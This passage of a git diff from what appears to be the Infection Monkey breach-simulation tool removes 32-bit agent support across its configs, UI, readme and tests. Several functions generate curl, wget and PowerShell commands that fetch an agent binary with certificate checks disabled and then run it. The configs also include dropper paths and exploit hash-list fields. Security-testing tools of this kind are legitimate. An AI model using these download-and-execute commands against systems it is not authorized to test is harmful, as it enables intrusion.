- "default": "C:\\Windows\\temp\\monkey32.exe",
- "description": "Determines where should the dropper place the monkey on a "
- "Windows machine "
- "(32bit)",
- },
"dropper_target_path_win_64": {
"title": "Dropper target path on Windows (64bit)",
"type": "string",
diff --git a/monkey/monkey_island/cc/services/run_local_monkey.py b/monkey/monkey_island/cc/services/run_local_monkey.py
index ce6c98c61..6059ceb71 100644
--- a/monkey/monkey_island/cc/services/run_local_monkey.py
+++ b/monkey/monkey_island/cc/services/run_local_monkey.py
@@ -5,8 +5,8 @@ import stat
import subprocess
from shutil import copyfile
-from monkey_island.cc.resources.monkey_download import get_monkey_executable
-from monkey_island.cc.server_utils.consts import ISLAND_PORT, MONKEY_ISLAND_ABS_PATH
+from monkey_island.cc.resources.monkey_download import get_agent_executable_path
+from monkey_island.cc.server_utils.consts import ISLAND_PORT
from monkey_island.cc.services.utils.network_utils import local_ip_addresses
logger = logging.getLogger(__name__)
@@ -25,12 +25,13 @@ class LocalMonkeyRunService:
@staticmethod
def run_local_monkey():
# get the monkey executable suitable to run on the server
- result = get_monkey_executable(platform.system().lower(), platform.machine().lower())
- if not result:
- return False, "OS Type not found"
+ try:
+ src_path = get_agent_executable_path(platform.system().lower())
+ except Exception as ex:
+ logger.error(f"Error running agent from island: {ex}")
+ return False, str(ex)
- src_path = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "binaries", result["filename"])
- dest_path = os.path.join(LocalMonkeyRunService.DATA_DIR, result["filename"])
+ dest_path = LocalMonkeyRunService.DATA_DIR / src_path.name
# copy the executable to temp path (don't run the monkey from its current location as it may
# delete itself)
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunManually/LocalManualRunOptions.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunManually/LocalManualRunOptions.js
index 116ba5440..9d0469aca 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunManually/LocalManualRunOptions.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunManually/LocalManualRunOptions.js
@@ -20,9 +20,7 @@ const getContents = (props) => {
const osTypes = {
[OS_TYPES.WINDOWS_64]: 'Windows 64bit',
- [OS_TYPES.WINDOWS_32]: 'Windows 32bit',
- [OS_TYPES.LINUX_64]: 'Linux 64bit',
- [OS_TYPES.LINUX_32]: 'Linux 32bit'
+ [OS_TYPES.LINUX_64]: 'Linux 64bit'
}
const [osType, setOsType] = useState(OS_TYPES.WINDOWS_64);
@@ -48,11 +46,11 @@ const getContents = (props) => {
}
function generateCommands() {
- if (osType === OS_TYPES.WINDOWS_64 || osType === OS_TYPES.WINDOWS_32) {
- return [{type: 'Powershell', command: GenerateLocalWindowsPowershell(selectedIp, osType, customUsername)}]
+ if (osType === OS_TYPES.WINDOWS_64) {
+ return [{type: 'Powershell', command: GenerateLocalWindowsPowershell(selectedIp, customUsername)}]
} else {
- return [{type: 'CURL', command: GenerateLocalLinuxCurl(selectedIp, osType, customUsername)},
- {type: 'WGET', command: GenerateLocalLinuxWget(selectedIp, osType, customUsername)}]
+ return [{type: 'CURL', command: GenerateLocalLinuxCurl(selectedIp, customUsername)},
+ {type: 'WGET', command: GenerateLocalLinuxWget(selectedIp, customUsername)}]
}
}
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js
index 7c099f224..bbefb64ac 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js
@@ -5,7 +5,7 @@ import AuthComponent from '../../AuthComponent';
import {faLaptopCode} from '@fortawesome/free-solid-svg-icons/faLaptopCode';
import InlineSelection from '../../ui-components/inline-selection/InlineSelection';
import {cloneDeep} from 'lodash';
-import {faCloud, faExpandArrowsAlt} from '@fortawesome/free-solid-svg-icons';
+import {faExpandArrowsAlt} from '@fortawesome/free-solid-svg-icons';
import RunOnIslandButton from './RunOnIslandButton';
import AWSRunButton from './RunOnAWS/AWSRunButton';
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_curl.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_curl.js
index ed9ffdec6..ceaeab393 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_curl.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_curl.js
@@ -1,12 +1,8 @@
-import {OS_TYPES} from '../utils/OsTypes';
-
-
-export default function generateLocalLinuxCurl(ip, osType, username) {
- let bitText = osType === OS_TYPES.LINUX_32 ? '32' : '64';
- let command = `curl https://${ip}:5000/api/monkey/download/monkey-linux-${bitText} -k `
- + `-o monkey-linux-${bitText}; `
- + `chmod +x monkey-linux-${bitText}; `
- + `./monkey-linux-${bitText} m0nk3y -s ${ip}:5000;`;
+export default function generateLocalLinuxCurl(ip, username) {
+ let command = `curl https://${ip}:5000/api/monkey/download/monkey-linux-64 -k `
+ + `-o monkey-linux-64; `
+ + `chmod +x monkey-linux-64; `
+ + `./monkey-linux-64 m0nk3y -s ${ip}:5000;`;
if (username != '') {
command = `su - ${username} -c "${command}"`;
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_wget.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_wget.js
index 3f47dc996..0540540e7 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_wget.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_wget.js
@@ -1,12 +1,8 @@
-import {OS_TYPES} from '../utils/OsTypes';
-
-
-export default function generateLocalLinuxWget(ip, osType, username) {
- let bitText = osType === OS_TYPES.LINUX_32 ? '32' : '64';
+export default function generateLocalLinuxWget(ip, username) {
let command = `wget --no-check-certificate https://${ip}:5000/api/monkey/download/`
- + `monkey-linux-${bitText}; `
- + `chmod +x monkey-linux-${bitText}; `
- + `./monkey-linux-${bitText} m0nk3y -s ${ip}:5000`;
+ + `monkey-linux-64; `
+ + `chmod +x monkey-linux-64; `
+ + `./monkey-linux-64 m0nk3y -s ${ip}:5000`;
if (username != '') {
command = `su - ${username} -c "${command}"`;
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js
index 5c7d5c9a6..de5346f30 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js
@@ -1,18 +1,14 @@
-import {OS_TYPES} from '../utils/OsTypes';
-
-
-function getAgentDownloadCommand(ip, osType) {
- let bitText = osType === OS_TYPES.WINDOWS_32 ? '32' : '64';
+function getAgentDownloadCommand(ip) {
return `$execCmd = @"\r\n`
+ `[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {\`$true};`
- + `(New-Object System.Net.WebClient).DownloadFile('https://${ip}:5000/api/monkey/download/monkey-windows-${bitText}.exe',`
+ + `(New-Object System.Net.WebClient).DownloadFile('https://${ip}:5000/api/monkey/download/monkey-windows-64.exe',`
+ `"""$env:TEMP\\monkey.exe""");Start-Process -FilePath '$env:TEMP\\monkey.exe' -ArgumentList 'm0nk3y -s ${ip}:5000';`
+ `\r\n"@; \r\n`
+ `Start-Process -FilePath powershell.exe -ArgumentList $execCmd`;
}
-export default function generateLocalWindowsPowershell(ip, osType, username) {
- let command = getAgentDownloadCommand(ip, osType)
+export default function generateLocalWindowsPowershell(ip, username) {
+ let command = getAgentDownloadCommand(ip)
if (username !== '') {
command += ` -Credential ${username}`;
}
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/utils/OsTypes.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/utils/OsTypes.js
index b24c9b302..1d898af01 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/utils/OsTypes.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/utils/OsTypes.js
@@ -1,6 +1,4 @@
export const OS_TYPES = {
- WINDOWS_32: 'win32',
WINDOWS_64: 'win64',
- LINUX_32: 'linux32',
LINUX_64: 'linux64'
}
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreachParser.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreachParser.js
index 843ca89dd..0a41f2c24 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreachParser.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreachParser.js
@@ -46,7 +46,7 @@ function aggregateMultipleResultsPba(results) {
}
function modifyProcessListCollectionResult(result) {
- result[0] = "Found " + Object.keys(result[0]).length.toString() + " running processes";
+ result[0] = 'Found ' + Object.keys(result[0]).length.toString() + ' running processes';
}
// check for pbas with multiple results and aggregate their results
diff --git a/monkey/monkey_island/readme.md b/monkey/monkey_island/readme.md
index 8de0a49a9..375af7d24 100644
--- a/monkey/monkey_island/readme.md
+++ b/monkey/monkey_island/readme.md
@@ -45,8 +45,6 @@
1. Put Infection Monkey binaries inside monkey_island/cc/binaries (binaries can be found in releases on github or build from source)
monkey-linux-64 - monkey binary for linux 64bit
- monkey-linux-32 - monkey binary for linux 32bit
- monkey-windows-32.exe - monkey binary for windows 32bit
monkey-windows-64.exe - monkey binary for windows 64bit
1. Install npm
@@ -95,15 +93,10 @@
monkey-linux-64 - monkey binary for linux 64bit
- monkey-linux-32 - monkey binary for linux 32bit
-
- monkey-windows-32.exe - monkey binary for windows 32bit
-
monkey-windows-64.exe - monkey binary for windows 64bit
Also, if you're going to run monkeys on local machine execute:
- `chmod 755 ./monkey_island/cc/binaries/monkey-linux-64`
- - `chmod 755 ./monkey_island/cc/binaries/monkey-linux-32`
1. Setup MongoDB (Use one of the two following options):
- Download MongoDB and extract it to monkey/monkey_island/bin/mongodb:
diff --git a/monkey/tests/data_for_tests/monkey_configs/flat_config.json b/monkey/tests/data_for_tests/monkey_configs/flat_config.json
index acce7f2ae..fdac570f5 100644
--- a/monkey/tests/data_for_tests/monkey_configs/flat_config.json
+++ b/monkey/tests/data_for_tests/monkey_configs/flat_config.json
@@ -27,7 +27,6 @@
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
"dropper_set_date": true,
"dropper_target_path_linux": "/tmp/monkey",
- "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
"exploit_lm_hash_list": ["lm_hash_1", "lm_hash_2"],
"exploit_ntlm_hash_list": ["nt_hash_1", "nt_hash_2", "nt_hash_3"],
diff --git a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json
index 658e4cc68..9891fef0c 100644
--- a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json
+++ b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json
@@ -104,7 +104,6 @@
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
"dropper_date_reference_path_linux": "/bin/sh",
"dropper_target_path_linux": "/tmp/monkey",
- "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe"
},
"logging": {
diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py
index 9de7f8f54..10d2e6e1d 100644
--- a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py
+++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py
@@ -26,7 +26,6 @@ Config = namedtuple(
"exploit_password_list",
"exploit_lm_hash_list",
"exploit_ntlm_hash_list",
- "dropper_target_path_win_32",
"dropper_target_path_win_64",
],
)
@@ -52,7 +51,8 @@ def powershell_exploiter(monkeypatch):
monkeypatch.setattr(powershell, "AuthenticationError", AuthenticationErrorForTests)
monkeypatch.setattr(powershell, "is_windows_os", lambda: True)
# It's regrettable to mock out a private method on the PowerShellExploiter instance object, but
- # it's necessary to avoid having to deal with the monkeyfs
+ # it's necessary to avoid having to deal with the monkeyfs. TODO: monkeyfs has been removed, so
+ # fix this.
monkeypatch.setattr(pe, "_write_virtual_file_to_local_path", lambda: None)
return pe
diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/test_exploit_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/test_exploit_telem.py
index 5d6c81f56..600e1db20 100644
--- a/monkey/tests/unit_tests/infection_monkey/telemetry/test_exploit_telem.py
+++ b/monkey/tests/unit_tests/infection_monkey/telemetry/test_exploit_telem.py
@@ -16,7 +16,6 @@ HOST_AS_DICT = {
"os": {},
"services": {},
"icmp": False,
- "monkey_exe": None,
"default_tunnel": None,
"default_server": None,
}
@@ -37,7 +36,13 @@ ERROR_MSG = "failed because yolo"
@pytest.fixture
def exploit_telem_test_instance():
- return ExploitTelem(EXPLOITER_NAME, HOST, ExploiterResultData(RESULT, RESULT, OS_LINUX, EXPLOITER_INFO, EXPLOITER_ATTEMPTS, ERROR_MSG))
+ return ExploitTelem(
+ EXPLOITER_NAME,
+ HOST,
+ ExploiterResultData(
+ RESULT, RESULT, OS_LINUX, EXPLOITER_INFO, EXPLOITER_ATTEMPTS, ERROR_MSG
+ ),
+ )
def test_exploit_telem_send(exploit_telem_test_instance, spy_send_telemetry):
diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/test_scan_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/test_scan_telem.py
index 07c6fbf41..a369fe4cf 100644
--- a/monkey/tests/unit_tests/infection_monkey/telemetry/test_scan_telem.py
+++ b/monkey/tests/unit_tests/infection_monkey/telemetry/test_scan_telem.py
@@ -14,7 +14,6 @@ HOST_AS_DICT = {
"os": {},
"services": {},
"icmp": False,
- "monkey_exe": None,
"default_tunnel": None,
"default_server": None,
}
diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py
index 64bfd7bff..d8391717e 100644
--- a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py
+++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py
@@ -173,7 +173,6 @@ def test_format_config_for_agent__exploiters(flat_monkey_config):
expected_exploiters_config = {
"options": {
"dropper_target_path_linux": "/tmp/monkey",
- "dropper_target_path_win_32": r"C:\Windows\temp\monkey32.exe",
"dropper_target_path_win_64": r"C:\Windows\temp\monkey64.exe",
"http_ports": [80, 443, 7001, 8008, 8080, 9200],
},